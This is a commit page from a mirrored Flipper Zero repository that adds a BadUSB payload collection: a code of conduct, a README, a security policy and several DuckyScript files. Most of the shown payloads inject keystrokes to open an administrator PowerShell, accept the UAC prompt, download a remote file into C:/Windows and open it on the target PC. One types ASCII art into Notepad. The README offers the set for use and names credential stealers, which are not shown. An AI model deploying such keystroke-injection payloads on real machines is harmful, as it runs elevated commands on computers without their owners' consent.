neil/Flipper
1
0
Fork 0
mirror of https://github.com/UberGuidoZ/Flipper.git synced 2024-12-22 06:20:12 +00:00
Code Issues Packages Projects Releases Wiki Activity

Adding lost UNC0V3R3D BadUSB Collection

Browse Source
This commit is contained in:
UberGuidoZ 2024-04-15 23:47:39 -07:00
parent 06c3423537
commit 103d83bf76
155 changed files with 5841 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

128
BadUSB/UNC0V3R3D-BadUSB-Collection/CODE_OF_CONDUCT.md Normal file
View File

@ -0,0 +1,128 @@
# Contributor Covenant Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
## Our Standards
Examples of behavior that contributes to a positive environment for our
community include:
* Demonstrating empathy and kindness toward other people
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
Examples of unacceptable behavior include:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
unc0v3r3d@proton.me.
All complaints will be reviewed and investigated promptly and fairly.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.

173
BadUSB/UNC0V3R3D-BadUSB-Collection/README.md Normal file
View File

@ -0,0 +1,173 @@
# The Ultimate Flipper Zero Badusb Collection
<img src="https://github.com/UNC0V3R3D/ressources/blob/main/badusbpicnew.png" height="380" width="1050" >
![GitHub all releases](https://img.shields.io/github/downloads/UNC0V3R3D/Flipper_Zero-BadUsb/total?logo=GitHub) ![GitHub commit activity](https://img.shields.io/github/commit-activity/w/UNC0V3R3D/Flipper_Zero-BadUsb) ![GitHub repo size](https://img.shields.io/github/repo-size/UNC0V3R3D/Flipper_Zero-BadUsb) ![GitHub release (release name instead of tag name)](https://img.shields.io/github/v/release/UNC0V3R3D/Flipper_Zero-BadUsb?include_prereleases)
[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=jo.112.nas@gmail.com&lc=US&no_note=0&item_name=Thank+you+for+supporting+UNC0V3R3D's+Github+Project.&cn=&curency_code=EUR&bn=PP-DonationsBF:btn_donateCC_LG.gif:NonHosted)
# Before you start!
Join the Discord-Community: https://discord.gg/WWQETvS8Vv <br>
Flipper Related Forum: ----
In order to begin, you ``must read and accept`` the usage agreement. **This project is for educational purposes only**! Please seek permission before running any of the scripts provided by me. I cannot be held responsible for any damage that may occur as a result of your use of these scripts.
If you want to purchase a completely unique and personalized script contact me on discord.
![](header.png)
## Installation
Windows:
```sh
1. git clone https://github.com/UNC0V3R3D/Flipper_Zero-BadUsb.git
2. Use the qFlipper app to drag the files into the "BadUsb" folder on your Flipper.
```
## Usage example
To begin using the scripts, ``please carefully read`` the "readme.md" file provided with each script. This file contains ``important information`` on how to use the script safely. Keep in mind that some scripts may ``potentially harm your system``, so be cautious and do not run unfamiliar scripts on your personal computer. To test scripts, it is recommended to ``use a virtual machine`` for safety.
## Release History
* v1.0
* Released all the files
* v1.1
* CHANGE: More options on storing the grabbed Wifi Passwords (WifiPassStealer.txt)
* Added ``MEMZ.exe script``
* v1.2
* Added ``NoMoreSound.txt`` Script
* v1.3
* A few delay_time errors ``fixed``
* v1.4
* Added a lot of new files to repo
* v1.5
* Added ``DeleteMicrosoftStore.txt`` and fixed link to MEMZ.exe
* v1.6
* Added a bunch of new files
* v1.7 (BIG UPDATE)
* Added ``a lot`` of new files, fixed a few files
* v1.7.1
* Few fixes due to delay errors
* v1.8
* Added ``ChangeWinUsername.txt`` and ``setWinPass.txt``
* v1.9
* Added a bunch of new files
* v2.0
* Added ``DownLoadASCII`` and seperated ``Selfwriting`` Ascii
* Instant-download Ascii is about ``20x faster``
* v2.1
* Added readme files for every script
* Readme files contain ``important info`` about the script
* v2.2
* Added the ``GoodUSB`` folder
* v2.5
* Skipped a few releases
* Added a few files
* Fixed ``SAM exfiltration``
## Usage Agreement
By downloading and using the scripts provided by UNC0V3R3D, you are automatically agreeing to the following usage agreement. If you do not agree to the terms of this agreement, you are not permitted to download or use the scripts.
1. You acknowledge that UNC0V3R3D ``is not responsible`` for your actions or any damage you may cause as a result of using the scripts.
2. You are ``permitted`` to share all of the files.
3. You are ``allowed`` to modify the files, but are still responsible for your own actions.
4. If you are using my scripts in your own repo, please consider giving credits.
5. You are allowed to do everything the license says...
# Instructions for newbies
In this quick instruction, you are going to learn how to set up the scripts and use them properly.
If you have any questions after reading this instruction, just DM me on Discord (UNC0V3R3D#8662).
## Installation
``` sh
1. Clone/Download the files directly from the repo or download the latest release.
2. Extract the files anywhere you like
3. If you are using a phone, just install the Flipper Zero mobile app.
4. If you are using a PC, just install the qFlipper app: https://flipperzero.one/update
5. Connect your Flipper via Bluetooth if you are using a phone, or connect it via usb if you are on PC.
6. Open qFlipper --> SD Card --> badusb --> Move the files here.
7. Now you are done with moving the files to your Flipper.
```
## Explanation of the files
Before using the files on your Flipper, it is important to thoroughly understand them. While the majority of the files in my BadUsb repository are relatively harmless, there are some that may potentially cause serious damage. It is important to exercise caution when using these files.
<h3> Understanding DuckyScript </h3>
* All BadUsb-Scripts are written in the ``DuckyScript 1.0`` language.
* The language is kind of ``easy`` to understand and to learn.
* If you really want to look further into this please refer to this [Documentation].
* The kind of ``hard part`` are the PowerShell scripts.
* We use PowerShell or PowerShell scripts in ``97%`` of all DuckyScripts.
* PowerShell or PowerShell scripts give us ``full power`` over the machine.
* If you want to learn how to write PowerShell scripts after learning the DuckyScript basics please refer to this [PowerShell-Guide].
* In BadUsb scripts, you will most likely find comments every few lines, that start with the command ``REM`` at the beginning.
* Those comments often ``explain the whole process`` and help you a lot.
* That's how you understand certain BadUsb scripts, but you can also often already identify the script by its file name.
<h3> Using the scripts properly </h3>
* So now that we have prepared everything, we can start to test our first script!
* We are going to run the first script on our ``own`` PC.
* Of course, you don't want to cause damage to your PC, so we are going to choose a harmless script.
* Let's choose a script that will draw something in the Notepad.
* I chose a [script] from my ASCII repository.
* If you want to open the text file on your phone or pc to see what is inside feel free to do so.
* To start you are going to start the Flipper and find the ``BadUSB`` category.
* There you will see all the scripts you have imported from your PC or phone.
* Now choose a harmless script and wait until the Flipper tells you to connect to a PC via the USB cable.
* Just press the middle button to start the script.
* Now the script should open Notepad and write a simple sentence "Hacked by UNC0V3R3D".
* If you succeeded congrats! You have just run your very first script.
* If something went wrong then please scroll further down to see the ``Troubleshooting section`` and follow the steps.
<h3> Troubleshooting Problems </h3>
First of all, you have to identify the problem. Then you can look at the list below and maybe you will recognize your problem.
* ``1.0`` <b> The script open random things and typed the text somewhere, where it shouldn't be. </b>
* <em> So this is often caused by ``too short delays`` between the commands. In the BadUsb script file, you should see some commands, that start with ``DELAY``
and then there is a number behind it. ``Example: DELAY 500``. The number stands for ``milliseconds``. Changing the delay to a ``higher number`` than the current number should solve the problem ``(DELAY 500 --> DELAY 700)`` </em>
* ``1.1`` <b> The Flipper shows an error like this: ``ERROR: line 5`` </b>
* <em> If the Flipper prints random errors like this you should check the ``text file``. The most common thing causing this error is apparently a ``random blank line``
between the commands. Otherwise, make sure there is no line containing the ``"LOCALE .."`` command. It doesn't properly work on the Flipper, yeah I do not know why that is. If there is still an error, look at the line where the error is coming from and make sure there is no ``space`` at the beginning of the line. </em>
* I hope that you find a a solution for your problem. If you need help feel free to always contact me via Discord or Email.
[PowerShell-Guide]: https://www.youtube.com/watch?v=IABNJEl2ZWk
[Documentation]: https://web.archive.org/web/20220816200129/http://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript
[script]: https://github.com/UNC0V3R3D/Flipper_Zero-BadUsb/blob/main/BadUsb-Collection/ASCII/Selfwriting/SimpleTroll.txt
[qFlipper]: https://flipperzero.one/update
[Patreon]: https://patreon.com/user?u=33918929&utm_medium=clipboard_copy&utm_source=copyLink&utm_campaign=creatorshare_creator&utm_content=join_link
## Sponsoring
[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Q5Q5HIDDD)
## Meta
If you have any idea on how to make this Instruction to BadUsb scripts better, feel free to open an Issue or contact me via Discord. :)
UNC0V3R3D – [@GitHub](https://github.com/UNC0V3R3D) – unc0v3r3d@proton.me
Distributed under the ``Attribution-NonCommercial-ShareAlike 4.0 International`` license. See ``LICENSE.md`` for more information.
[https://github.com/UNC0V3R3D/Flipper_Zero-BadUsb](https://github.com/UNC0V3R3D/)
## Credits
* [UberGuidoZ] , [FalsePhilosopher] and [I-am-Jakoby]
* Make sure to check them out! They are the reason this repository exists. When I started learning how to create badusb scripts i learnt from them.
[release]: https://github.com/UNC0V3R3D/Flipper_Zero-BadUsb/releases
[UberGuidoZ]: https://github.com/UberGuidoZ
[FalsePhilosopher]: https://github.com/FalsePhilosopher
[I-am-Jakoby]: https://github.com/I-Am-Jakoby

9
BadUSB/UNC0V3R3D-BadUSB-Collection/SECURITY.md Normal file
View File

@ -0,0 +1,9 @@
# Security Policy
- Our project includes scripts that can potentially harm devices. As such, we strongly advise against using these scripts without obtaining explicit permission to run these scripts.
- By using these scripts, you assume all responsibility for any damage that may occur to your devices. The project maintainers will not be held liable for any harm caused by the use of these scripts.
- Additionally, we advise against using these scripts on any devices that are important to you or that you do not have explicit permission to modify. The scripts may potentially damage or render devices inoperable.
- Please use these scripts at your own risk and with caution. We do not condone any illegal or malicious activities.

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ghostbuster.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/ghostbusters.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/happyBday.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.1
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/happyBDAY.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/indian-tech-support.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/indian-tech-support.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/koolaid.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/koolaid.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/memelaugh.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/memelaugh.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbean.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/mrbean.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/mrbeanagain.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/mrbeanagain.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/ok.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/ok.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefat.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/pepeFAT.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/pepefrog.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/pepeFROG.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

44
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/readme.md Normal file
View File

@ -0,0 +1,44 @@
# DownloadAscii
These scripts will download an Ascii txt file and open it on the target pc.
## How to use?
These scripts are easy to use. Just plug the Flipper in and run the scripts. Please notice that an internet connection is required.
## Features
- Download .txt file
- open .txt file
- Fullscreen mode
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/riddle.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/riddle.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/stormtrooper.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/stormtrooper.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface2.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface2.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface3.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface3.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollfaceDANCE.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads the Txt file and opens it.
REM Version: 1.0
REM Category: DownloadAscii
DELAY 1000
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollfaceDANCE.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized
ENTER

130
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/AnonymousASCII.txt Normal file
View File

@ -0,0 +1,130 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Opens Notepad and types out the ASCII art
REM Version: 1.0
REM Category: ASCII
DELAY 1000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
GUI UPARROW
DELAY 500
STRING :-=+**#%%@@@@@@@@@@%%#**+=-:
ENTER
STRING .-+*%@@@#*++=--::........::--=++*#@@@%*+-.
ENTER
STRING .-*#@@#*=-. .:=*#@@%+-.
ENTER
STRING -*@@%*-. .-*%@@*-
ENTER
STRING :=#@%+- -*%@#+.
ENTER
STRING .+%@#=. .=#@%+.
ENTER
STRING -#@%= .=%@#-
ENTER
STRING .+@@*: :*@@+.
ENTER
STRING .*@%= =%@*.
ENTER
STRING .*@%= -%@*.
ENTER
STRING +@@= .. =@@=
ENTER
STRING -%@+ .-=: ..::::::::.::.::::::::.. -+-. +@%-
ENTER
STRING *@%: -*@@*. .::....:.. .: :: :: ..:....::. .*@%*- :%@*
ENTER
STRING :%@+ . +@@@%: ..:. .:. :: :: :: .:. .:.. -@@@@+ . +@%.
ENTER
STRING -@@: .+#-:@@@@# .::. .:. .: :: :. .:. .::. *@@@%:-#+. -@@-
ENTER
STRING =@%. +@% :@@@@-.. .:..::.. .:. : :: .: .:. ..::..:. .:=@@@@:.%@+ .%@=
ENTER
STRING +@% #@@: @@%=.+# .:. .:::.. :. :: :: ..:::. .:. #+.=%@@ :@@# .%@+
ENTER
STRING +@% : *@@@ **::+@%. .:. .: ....:::..-*++*%%*=.:::.... :. .:. %@*::*+ %@@* : %@=
ENTER
STRING -@%. ++.@@@= .=%@@# :. .: :: :@@+::-@@@+ :: :. .: .#@@%=. =@@@.++ %@-
ENTER
STRING :@@. #@:.@@%.*@@@#- .:. .: :. *#=:::@@@= .: :. .:. -#@@@*.%@@.:@* :@@:
ENTER
STRING %@= +@@:.@@+@@%=: .: .: .: :-%@#- :. :. :. .:=%@@*@@.:@@+ =@%
ENTER
STRING +@# @@@= @@@#- =# ::. :. :: :%=. :: .: .:: %= -#@@@ =@@@ #@=
ENTER
STRING @@: :@@@+ @%:.+@@: .: ...::... .: :. -= .: :. ...::... :. :@@+.:%@ *@@@: .@@
ENTER
STRING +@* :@@@# =:#@@@- .: ...:::.... : == .: ....:::... :. -@@@*.= #@@@: *@+
ENTER
STRING @@: : @@@# =@@@@: :. .: ......:::::::..%@@@..:::::::...... :. .: -@@@@= #@@@ . -@@
ENTER
STRING :@% :+ *@@*+@@@#: .: :: .: -##- :. :: :. :*@@@+*@@+ +. @@:
ENTER
STRING +@* *# .@@*@@%- * :. :. .: :: :. .: .: * -@@@*@@ #* *@+
ENTER
STRING #@= %@: -@%@# *% .: : :: :----: :: : :. @* *@%@- :@% =@#
ENTER
STRING @@- %@% *@* .%@+ .: .: :. -:-+@@@@@@+-:- :: :. :. *@#. *@# %@% -@%
ENTER
STRING @@: *@@# .# :@@@: ::.............:............:-*@@ -@@= @@*-:............:.............:. :@@@: %. #@@* :@%
ENTER
STRING @@: -@@@# .:@@@# ::.............:........:-=*%@@@# .%@@%. %@@@%*=-:........:.............:. #@@@:. #@@@- :@%
ENTER
STRING @@- %@@@+ %@@@. .: .: -*##%@@@@@@@@@@: - #* - :@@@@@@@@@@%##*: :. :. .@@@# +@@@% -@%
ENTER
STRING #@= .:@@@@.@@@= + .: ::@@@@@@@@@@@@@@@ .@@. @@@@@@@@@@@@@@@:: :. + =@@@.@@@@.: =@#
ENTER
STRING +@* # .%@@+@@% @- :. :+@@@@@@@@@@@@@@@ *@@# @@@@@@@@@@@@@@@+: .: =@ %@@+@@#. # *@+
ENTER
STRING :@% %#. +@%%@= -@% .: :#@@@@@@@@@@@@@@@= @@@@ =@@@@@@@@@@@@@@@#: :. %@= =@%@@+ #% @@:
ENTER
STRING @@: +@@- .#@@. #@@: :. .@@@@@@@@@@@@@@@@@. @@@@ .@@@@@@@@@@@@@@@@@. .: .@@% .@@#. =@@= -@@
ENTER
STRING +@* %@@#: =@..@@@= .: ..*@@@@@@@@@@@@@@@@@% @@@@ %@@@@@@@@@@@@@@@@@+.. :. =@@@..@= :%@@% #@+
ENTER
STRING @@: .#@@@#:..-@@@+ : :: ..::... +@@@@@@@@@@@@@@@@@@%. @@@@..%@@@@@@@@@@@@@@@@@@+ ...::.. :. : +@@@-..:#@@@%. .@@
ENTER
STRING +@# +@@@@#.:@@@* +* ::. %@@@@@@@@@@@@@@@@@@@@=@@@@+@@@@@@@@@@@@@@@@@@@@# .:: *+ *@@@:.#@@@@= #@=
ENTER
STRING %@= :%@@@@:*@@% .@%. .: :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. :. .%@. #@@#-@@@@%. =@%
ENTER
STRING :@@. = -#@@@*%@@. %@%. .:. -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@- .:. .%@% .@@%+@@@#- = :@@:
ENTER
STRING -@%. -%- =#@%@@+ +@@@. :. +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ .: .@@@+ +@@%@#- -%- .%@-
ENTER
